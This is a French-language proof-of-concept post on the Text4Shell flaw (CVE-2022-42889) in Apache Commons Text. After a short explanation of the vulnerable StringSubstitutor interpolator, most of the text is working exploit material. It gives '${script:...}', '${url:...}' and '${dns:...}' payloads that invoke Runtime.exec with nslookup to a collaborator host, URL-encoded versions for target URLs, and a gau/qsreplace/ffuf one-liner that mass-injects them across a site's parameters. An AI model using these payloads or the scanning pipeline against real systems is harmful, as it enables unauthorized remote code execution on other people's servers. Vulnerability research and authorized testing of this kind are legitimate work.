
Apache commons text - CVE-2022-42889 Text4Shell preuve de concept d'exploit.
Apache commons text - CVE-2022-42889 Text4Shell preuve de concept d’exploitation.
CVE-2022-42889 affecte Apache Commons Text versions 1.5 à 1.9. La correction a été apportée à partir de la version 1.10 de Commons Text.
La vulnérabilité a été comparée à Log4Shell car il s’agit d’une vulnérabilité au niveau d’une bibliothèque open source susceptible d’affecter une grande variété d’applications logicielles utilisant l’objet concerné. Cependant, les premières analyses indiquent qu’il s’agit d’une mauvaise comparaison. La nature de la vulnérabilité fait que, contrairement à Log4Shell, il sera rare qu’une application utilise le composant vulnérable de Commons Text pour traiter des entrées non fiables et potentiellement malveillantes.
La vulnérabilité réside dans l’objet interpolateur StringSubstitutor. Un interpolateur est créé par la méthode StringSubstitutor.createInterpolator() et permet des recherches de chaînes telles que définies dans StringLookupFactory. Cela peut être exploité en passant une chaîne « ${prefix:name} » où le préfixe est la recherche susmentionnée. L’utilisation des recherches « script », « dns » ou « url » permettrait à une chaîne forgée d’exécuter des scripts arbitraires lorsqu’elle est transmise à l’objet interpolateur.
Bien que ce fragment de code spécifique soit peu susceptible d’exister dans des applications de production, la préoccupation est que dans certaines applications, la variable pocstring pourrait être contrôlée par un attaquant. En ce sens, la vulnérabilité fait écho à Log4Shell. Cependant, l’interpolateur StringSubstitutor est considérablement moins utilisé que la substitution de chaîne vulnérable dans Log4j et la nature d’un tel interpolateur signifie qu’il est moins probable d’amener une entrée forgée à l’objet vulnérable que de simplement interagir avec une telle chaîne forgée comme dans Log4Shell.
script:javascript
Remplacer la valeur du paramètre par la charge utile :
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
url
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
dns
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ
qsreplace Merci @tomnomnom